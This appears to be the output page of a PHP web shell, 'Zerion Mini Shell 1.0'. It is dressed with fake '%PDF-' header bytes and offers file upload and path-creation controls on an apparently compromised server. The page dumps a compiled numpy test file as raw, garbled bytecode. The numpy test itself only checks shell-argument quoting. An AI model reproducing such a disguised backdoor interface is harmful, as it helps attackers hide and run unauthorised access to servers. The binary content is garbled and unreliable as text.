%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/python3.9/site-packages/numpy/distutils/tests/__pycache__/
Upload File :
Create Path :
Current File : //lib64/python3.9/site-packages/numpy/distutils/tests/__pycache__/test_shell_utils.cpython-39.pyc

a

z[yc��@s�ddlZddlZddlZddlZddlmZdgdgdgdgdgdgdd	gdd	gdd	gdd	gdd	gdd
gdd
gddgddggZejejej	gd�d
d��Z
ejdd��Zej�
de�dd��Zej�
de�dd��ZdS)�N)�_shell_utilsZexezpath/exezpath\exez\\server\path\exezpath to/exezpath to\exez--flagz--flag-"quoted"z"--flag-quoted")�paramscCs|jS�N)Zparam)Zrequest�r�L/usr/lib64/python3.9/site-packages/numpy/distutils/tests/test_shell_utils.py�ParsersrcCs@|tjkrt�d�|tjkr&dd�S|tjkr8dd�St�dS)Nz$Unable to run with non-native parsercSs
t�|�Sr��
subprocessZcheck_output��cmdrrr�<lambda>,�zrunner.<locals>.<lambda>cSstj|dd�S)NT)�shellrr
rrrr/r
)rZNativeParser�pytest�skip�
WindowsParser�PosixParser�NotImplementedError)rrrr�runner&s



r�argvcCs<tjddg}|�||�}||���}t�|�|ks8J�dS)zB
    Test that join produces strings understood by subprocess
    z-cz1import json, sys; print(json.dumps(sys.argv[1:]))N)�sys�
executable�join�decode�json�loads)rrrr�joinedZjson_outrrr�test_join_matches_subprocess4s�rcCsBz |�|�}||�|�ksJ�Wnty<t�d�Yn0dS)z:
    Test that split is the inverse operation of join
    zNot implementedN)r�splitrrr)rrrrrr�test_roundtripCs

r)rr	rrZnumpy.distutilsrZ
argv_casesZfixturerrrrZmarkZparametrizerrrrrr�<module>s>��





Zerion Mini Shell 1.0